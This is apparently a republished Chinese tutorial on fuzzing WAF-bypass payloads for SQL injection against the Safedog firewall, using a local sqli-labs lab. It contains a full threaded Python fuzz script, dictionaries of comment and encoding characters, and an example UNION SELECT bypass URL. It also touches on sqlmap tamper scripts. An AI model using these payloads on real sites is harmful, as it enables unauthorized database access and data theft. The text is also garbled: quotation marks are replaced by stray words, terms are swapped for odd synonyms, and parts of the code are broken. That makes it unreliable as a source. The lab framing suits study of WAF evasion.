首页 » SEO优化 » php编码fuzz技巧_Fuzz脚本的编写

php编码fuzz技巧_Fuzz脚本的编写

访客 2024-11-23 0

扫一扫用手机浏览

文章目录 [+]

目录

1.mysqlsql注入

php编码fuzz技巧_Fuzz脚本的编写

2.环境搭建

php编码fuzz技巧_Fuzz脚本的编写
(图片来自网络侵删)

3.fuzz脚本编写

4.嵌入到sqlmap的tamper脚本

能力有限,仅以sql注入为例子(个中以某学长的提醒,某行高朋前辈的课程和讲解为根本,以网上前辈各大博客为拓展写出此文)

5.总结

1. mysql sql注入

略。

2. 环境搭建

这里详细说下,坑有些,摧残浪费蹂躏韶光性价比不高

1

某狗下载

http://free.safedog.cn/website_safedog.html某狗的下载(把稳是apache4.0版本),作者这里如果下的做事器版本再在里面下apache软件出错

2

phpstudy2016下载

http://mydown.yesky.com/pcsoft/467336.html

3

安装

第一,二步,要系统做事某狗才能识别网站

第三步,去github高下个sqli-labs当靶机源码

第一步,把ip黑名单关了

第二步,把各种资源防护关了,只留http防护

4

大略验证环境

url?id= 1’ and 1=1--+ 触发 某狗的and语句条件预警,被拦截

2. 我们看下能不能用requests进行访问要求,看返回包里存在”网站防火墙字样”解释是成功的(这是我们进行判断语句是否绕过waf的根本)

提醒一下,可能是由于访问要求过大,作者中途创造requests要求不到内容,重启虚拟机就好了,以是专门提出来

4. fuzz脚本编写

1

如何编写

这里,利用网上的流传甚广的内联(作者也只会这个)

fuzz出,意思便是绕过正则匹配

这里作者只进行两个语句的fuzz

个中url=\"大众http://192.168.37.132/sqli-labs-master/Less-1/?id=1\"大众

当然还有bool 韶光 等等注入的fuzz,字典字符的顺序和字符在语句中位置很主要,很主要,很主要(主要事情说三遍)

2

附上脚本

# -- coding:UTF-8 --

import requests

import time

from concurrent.futures import ThreadPoolExecutor,ProcessPoolExecutor

import sys

reload(sys)

sys.setdefaultencoding('utf-8')

MAX_JOBS_IN_QUEUE = 1000

def request_url(url):

s=requests.get(url).text

if \"大众网站防火墙\"大众 not in s:

#print \"大众no:\"大众+url

if \公众Your Login name\"大众 in s:

print url

with open(\"大众a.txt\"大众,\"大众a+\"大众) as f:

f.write(url)

f.write(\"大众\n\"大众)

f.close()

fuzz_zs = ['/','/','/!','?','//','/','','!','%','%a0']

fuzz_sz = ['0','6','7','8','9']

fuzz_ch = [\"大众%0a\"大众,\"大众%0b\"大众,\"大众%0c\公众,\"大众%0d\公众,\公众%0e\"大众,\公众%0f\"大众,\公众%0g\"大众]

Fuzz = fuzz_ch + fuzz_zs

#Fuzz=list(set(Fuzz))

print Fuzz

print \公众start:\"大众

start_time=time.time()

url=\"大众http://192.168.37.132/sqli-labs-master/Less-1/?id=1\"大众

num=0

length=len(Fuzz)5

with ThreadPoolExecutor(20) as executor:

for a in Fuzz:

for b in Fuzz:

for c in Fuzz:

for d in Fuzz:

for e in Fuzz:

if num % 200000 == 0 and num > 10000:

end_time = time.time()

seconds = end_time - start_time

m, s = divmod(seconds, 60)

h, m = divmod(m, 60)

print (\"大众%s:%s:%s\"大众 % (h, m, s))

# time.sleep(15)

try:

num = num + 1

exp = url + \"大众' /!union\公众 + a + b + c + d + e+\公众select/\"大众 + \"大众 1,2,3 --+\"大众

#exp = url + \公众' union/!\公众 + a + b + c + d + e\"大众/ select\公众 + \"大众 1,2,3 --+\"大众

sys.stdout.write(' ' 30 + '\r')

sys.stdout.flush()

sys.stdout.write(\公众%s/%s \r\"大众 % (num, length))

sys.stdout.flush()

executor.submit(request_url, exp)

del exp

except Exception as e:

pass

'''

http://192.168.37.132/sqli-labs-master/Less-1/?id=-1%27union/!90000aaa/select%201,2,3/!90000aaa//!90000aaa/from%20information_schema.tables/!90000aaa/%23

fuzz_zs = ['/','/','/!','?','','=','`','~','!','@','%','.','-','+','|','%00','%20' ,'%09', '%0a', '%0b', '%0c', '%0d' , '%a0' ,'//']

fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']

fuzz_ch = [\公众%0a\"大众,\"大众%0b\"大众,\"大众%0c\"大众,\"大众%0d\"大众,\"大众%0e\公众,\"大众%0f\"大众,\"大众%0g\"大众,\公众%0h\"大众,\"大众%0i\"大众,\公众%0j\"大众,\公众%0k\"大众,\公众%0l\公众,\公众%0m\"大众,\"大众%0n\公众, \"大众%0o\"大众,\"大众%0p\公众,\"大众%0q\公众,\"大众%0r\"大众,\公众%0s\"大众,\"大众%0t\"大众,\"大众%0u\公众,\"大众%0v\公众,\"大众%0w\"大众,\公众%0x\"大众,\"大众%0y\"大众,\"大众%0z\"大众]

fuzz_zs = ['/', '/', '/!', '', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00','/','/','/!','?','','=','`','~','!','@','%','.','-','+','|','%00','%20' ,'%09', '%0a', '%0b', '%0c', '%0d' , '%a0' ,'//']

fuzz_sz = ['', ' ','0','1','2','3','4','5','6','7','8','9']

fuzz_ch = [\"大众%0a\"大众,\"大众%0b\"大众,\"大众%0c\公众,\公众%0d\公众,\公众%0e\公众,\"大众%0f\公众,\"大众%0g\"大众,\"大众%0h\"大众,\公众%0i\公众,\公众%0j\"大众,\"大众%0k\"大众,\"大众%0l\公众,\公众%0m\"大众,\公众%0n\"大众, \"大众%0o\"大众,\公众%0p\"大众,\"大众%0q\"大众,\公众%0r\公众,\公众%0s\"大众,\"大众%0t\公众,\"大众%0u\"大众,\"大众%0v\"大众,\"大众%0w\"大众,\"大众%0x\公众,\公众%0y\"大众,\公众%0z\公众]

'''

3

优化脚本

还是提出来,供大家学习学习

无外乎是多线程跑起来,但是若何利用多线程,这里作者前前后后用了多种(不限于这个脚本,是作者学习python措辞道路上碰着的)

1)threadpool 老式的,效果还可以

2)multiprocessing和multithreading

3)自己的线程池类

垃圾效果。


4)concurrent.futures

也便是本代码用到的

参考:https://www.cnblogs.com/zhang293/p/7954353.html

4

效果结果

这里下图可以清楚看到,我们进行Fuzz的字符凑集,韶光缘故原由作者设置的字符个数比较少,毕竟是进行阶乘,字符每增加一个,都懂得

以及三排韶光,作者是每跑完20w,就打印一遍韶光,可以看到,韶光还是耗费还是比较少的,1分钟就跑完20w了

你没有看错,142w,跑完这些凑集没有一个能行

5

这里说几处改点

如果要修正,把稳这几处

1)作者测试67 8 9绕过概率要大,玄学

2)for循环的次数和语句位置,更主要的是图中那个ThreadPoolExecutor(20),作者开了虚拟机和杂七杂八的东西,本身电脑8g内存,开了20,刚好得当(运气吧,写这篇文章,刚好代码完备跑过,开大了只跑到90w就内存报错了,也有好处,开到ThreadPoolExecutor(100),4分钟就跑到90w了),自己结合实际情形考虑

3)语句的修正很看技能和修为的,作者也是小白,在磋商

4)判断条件

能行的判断条件,作者有点疑惑自己哪个语句或者条件错了

4. 嵌入到sqlmap的tamper脚本

sqlmap神器已经写好了各种条件,添加tamper脚本,只需大略写个更换条件就行了

可参考:

https://blog.csdn.net/whatday/article/details/62059263

tamper有三个部分

第一部分:

实行脚本的优先级

第二部分

版本,或者是适用条件

第三部分

我们关注的点,作者看了下,大略点就行更换,把unionselect更换成什么就行了

只需改动这,别的部分相称于是公共部分

无成果,有兴趣可以自己研究下

5. 总结

本身fuzz实在不难(难在语句的布局和位置,这是技能问题了),剩下的就剩暴力破解问题了

作者花费韶光最多的是在环境搭建和脚本的运行,这两个点上,文中作者以自己碰着的坑点已经提出来了

Fuzz实践及Module编写

实验简介:

通过该实验一方面理解fuzz的思想,并且学会利用metasploit进行fuzz.其余一方面学会根据自己的需求进行module的编写及利用。

实验地址:点击阅读原文

标签:

相关文章

HL大数据,引领未来,介绍无限可能

随着科技的飞速发展,大数据已经成为当今时代的重要驱动力。作为大数据领域的佼佼者,HL大数据凭借其先进的技术、丰富的经验和卓越的服务...

SEO优化 2024-12-17 阅读0 评论0

php盘算体重指数技巧_减重TIPS上篇

现在走在街上,能见到越来越多软软的“胖纸”,他们有的年事大,有的年事小,有的是梨型肥胖,有的是冬瓜型肥胖。在U.S.这样的发达国家...

SEO优化 2024-12-17 阅读0 评论0